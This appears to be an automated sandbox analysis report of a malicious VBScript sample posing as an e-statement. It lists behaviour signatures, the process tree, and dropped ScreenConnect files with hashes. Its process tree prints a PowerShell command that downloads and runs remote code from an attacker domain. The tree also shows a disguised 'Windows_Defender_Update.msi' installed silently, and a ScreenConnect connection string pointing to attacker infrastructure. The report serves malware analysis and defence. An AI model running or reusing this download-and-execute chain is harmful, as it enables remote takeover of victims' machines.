Analysis

  • max time kernel
    298s
  • max time network
    276s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    28/07/2026, 02:39

General

  • Target
    eStmt_2026-07-27042651.vbs
  • Size 1KB
  • Sample260728-c5gnyswerb
  • SHA256 808ca468318077be9cdf300704a94e99e05512622f03aee6d0fabe637daea718
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 26 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\eStmt_2026-07-27042651.vbs"
    1⤵
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:3804
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command iwr landoflawns.com/.July/BrowserCore.mp3?55585836984709926538 -UseBasicParsing | iex
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3368
      • C:\Windows\system32\msiexec.exe
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\Contacts\Windows_Defender_Update.msi" /quiet /norestart
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:5388
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4920
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 8B3144EED718476F6B20EA056F1DD025
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:5636
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI645D.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240740843 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:5616
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 792B4DAFCE928ED1C57E2D30D9CD2178 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:5052
  • C:\Program Files (x86)\ScreenConnect Client (108b6ab754428708)\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\ScreenConnect Client (108b6ab754428708)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=julynews.co&p=8041&s=24e563ea-2fb5-49cd-8049-90cb23760e8c&k=BgIAAACkAABSU0ExAAgAAAEAAQCFjopeV0vvEkgIuQSFuOshXUqlpA6JFSkgP0TW3lUYJqgsSJ9VhuYVfHdmhVuUU0zBwZ64%2bLP8QmGzoyK09V5zOnwiqCjMUZOwf73h1ItH0octYhJiFAgDoRYIpCe6ngvAl9YNxZUDMwCO7%2fjEcslKhn6HN6wWYa89np3CYK%2bFvBR3gGvUDqUpuLEiMrJWrYUdNb%2bhmevAYjFV5Dhem5EItIzmmOWPKgY0Wp%2bBEG3Q1zfiYLuORLDQVh7qhSd3cFKa1eUCA4bN%2b9E0D0TFYQ9MgltGnlZVEG6PzkelGvDucbo6xHLpCwMUKlpuVrxNyQ7hMAMY%2bA7Ef1%2bD6ihGaAX5&c=1&c=&c=&c=&c=&c=&c=&c="
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4180
    • C:\Program Files (x86)\ScreenConnect Client (108b6ab754428708)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (108b6ab754428708)\ScreenConnect.WindowsClient.exe" "RunRole" "1382563e-4d19-4068-8d68-917c988d7092" "User"
      2⤵
      • Executes dropped EXE
      PID:2924
    • C:\Program Files (x86)\ScreenConnect Client (108b6ab754428708)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (108b6ab754428708)\ScreenConnect.WindowsClient.exe" "RunRole" "53ee5920-f5d0-4cc7-9913-2207c3923a54" "System"
      2⤵
      • Executes dropped EXE
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:6080

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        e59623e.rbs

        • Path C:\Config.Msi\e59623e.rbs
        • Size 214KB
        • SHA256 1426accee77948b27825d5858c3955efdf096e59756b5805fdce0906d043bd78
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.Override.en-US.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (108b6ab754428708)\Client.Override.en-US.resources
        • Size 308B
        • SHA256 b657d917ea09d0bfeb6aacc59373b5baf936aeca6091a93693dd303d96cd4c02
        • MD5 SHA1 SHA512 TLSH

        Client.Override.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (108b6ab754428708)\Client.Override.resources
        • Size 115KB
        • SHA256 0d6ec27d81ebe38d37c62701ba53fb7b81ae1fb92f1117504115843f60b81892
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.en-US.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (108b6ab754428708)\Client.en-US.resources
        • Size 48KB
        • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (108b6ab754428708)\Client.resources
        • Size 28KB
        • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Client.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (108b6ab754428708)\ScreenConnect.Client.dll
        • Size 192KB
        • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (108b6ab754428708)\ScreenConnect.ClientService.dll
        • Size 66KB
        • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (108b6ab754428708)\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsAuthenticationPackage.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (108b6ab754428708)\ScreenConnect.WindowsAuthenticationPackage.dll
        • Size 254KB
        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (108b6ab754428708)\ScreenConnect.WindowsClient.exe
        • Size 593KB
        • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe.config

        • Path C:\Program Files (x86)\ScreenConnect Client (108b6ab754428708)\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH

        ScreenConnect.WindowsCredentialProvider.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (108b6ab754428708)\ScreenConnect.WindowsCredentialProvider.dll
        • Size 837KB
        • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        app.config

        • Path C:\Program Files (x86)\ScreenConnect Client (108b6ab754428708)\app.config
        • Size 2KB
        • SHA256 e26e90b8c09475442a74b92c05defa88d941ab851878d436e0cc9170c3350ff3
        • MD5 SHA1 SHA512 TLSH

        system.config

        • Path C:\Program Files (x86)\ScreenConnect Client (108b6ab754428708)\system.config
        • Size 933B
        • SHA256 3bcdb94258e3a6e4898c63c399535a0f27b5d62835484976f778e67c86f16141
        • MD5 SHA1 SHA512 TLSH

        Windows_Defender_Update.msi

        • Path C:\Users\Admin\Contacts\Windows_Defender_Update.msi
        • Size 13.1MB
        • SHA256 20c15952327f2b4cfd7dd8b89fd4e6a54c32c1be39ed814e6268ea34d9a57594
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI645D.tmp

        • Path C:\Windows\Installer\MSI645D.tmp
        • Size 1.0MB
        • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Microsoft.Deployment.WindowsInstaller.dll

        • Path C:\Windows\Installer\MSI645D.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Windows\Installer\MSI645D.tmp-\ScreenConnect.Core.dll
        • Size 538KB
        • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.InstallerActions.dll

        • Path C:\Windows\Installer\MSI645D.tmp-\ScreenConnect.InstallerActions.dll
        • Size 11KB
        • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Windows\Installer\MSI645D.tmp-\ScreenConnect.Windows.dll
        • Size 1.6MB
        • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI7094.tmp

        • Path C:\Windows\Installer\MSI7094.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/2924-137-0x00000000000D0000-0x0000000000168000-memory.dmp

        memory/2924-146-0x0000000000BA0000-0x0000000000BE1000-memory.dmp

        memory/2924-145-0x0000000000B60000-0x0000000000B78000-memory.dmp

        memory/2924-144-0x0000000000AE0000-0x0000000000AF8000-memory.dmp

        memory/2924-143-0x000000001B6B0000-0x000000001B838000-memory.dmp

        memory/2924-142-0x000000001B370000-0x000000001B51C000-memory.dmp

        memory/2924-141-0x000000001B130000-0x000000001B1BC000-memory.dmp

        memory/2924-139-0x0000000000B20000-0x0000000000B56000-memory.dmp

        memory/3368-16-0x00007FFBB2220000-0x00007FFBB2BC4000-memory.dmp

        memory/3368-11-0x00007FFBB2220000-0x00007FFBB2BC4000-memory.dmp

        memory/3368-27-0x00007FFBB2220000-0x00007FFBB2BC4000-memory.dmp

        memory/3368-15-0x00007FFBB2220000-0x00007FFBB2BC4000-memory.dmp

        memory/3368-22-0x00007FFBB2220000-0x00007FFBB2BC4000-memory.dmp

        memory/3368-14-0x00007FFBB2220000-0x00007FFBB2BC4000-memory.dmp

        memory/3368-13-0x00007FFBB2220000-0x00007FFBB2BC4000-memory.dmp

        memory/3368-12-0x00007FFBB2220000-0x00007FFBB2BC4000-memory.dmp

        memory/3368-21-0x00007FFBB2220000-0x00007FFBB2BC4000-memory.dmp

        memory/3368-4-0x00007FFBB2220000-0x00007FFBB2BC4000-memory.dmp

        memory/3368-18-0x00007FFBB2220000-0x00007FFBB2BC4000-memory.dmp

        memory/3368-140-0x00007FFBB2220000-0x00007FFBB2BC4000-memory.dmp

        memory/3368-10-0x00007FFBB2220000-0x00007FFBB2BC4000-memory.dmp

        memory/3368-9-0x00007FFBB2220000-0x00007FFBB2BC4000-memory.dmp

        memory/3368-3-0x000002347D0A0000-0x000002347D0C2000-memory.dmp

        memory/3368-0-0x00007FFBB23AF000-0x00007FFBB23B0000-memory.dmp

        memory/3368-8-0x00007FFBB2220000-0x00007FFBB2BC4000-memory.dmp

        memory/3368-7-0x00007FFBB2220000-0x00007FFBB2BC4000-memory.dmp

        memory/3368-6-0x00007FFBB2220000-0x00007FFBB2BC4000-memory.dmp

        memory/3368-5-0x00007FFBB2220000-0x00007FFBB2BC4000-memory.dmp

        memory/4180-125-0x0000000003FB0000-0x0000000003FF1000-memory.dmp

        memory/4180-127-0x00000000044D0000-0x00000000045A5000-memory.dmp

        memory/4180-123-0x00000000042E0000-0x0000000004372000-memory.dmp

        memory/4180-122-0x0000000004200000-0x0000000004236000-memory.dmp

        memory/4180-115-0x00000000041B0000-0x0000000004200000-memory.dmp

        memory/4180-96-0x0000000001660000-0x0000000001678000-memory.dmp

        memory/5616-57-0x0000000005D60000-0x000000000631A000-memory.dmp

        memory/5616-56-0x00000000055F0000-0x000000000579C000-memory.dmp

        memory/5616-52-0x00000000053B0000-0x000000000543C000-memory.dmp

        memory/5616-48-0x0000000003280000-0x000000000328A000-memory.dmp

        memory/5616-44-0x0000000003230000-0x000000000325E000-memory.dmp

        memory/6080-148-0x000000001C730000-0x000000001C820000-memory.dmp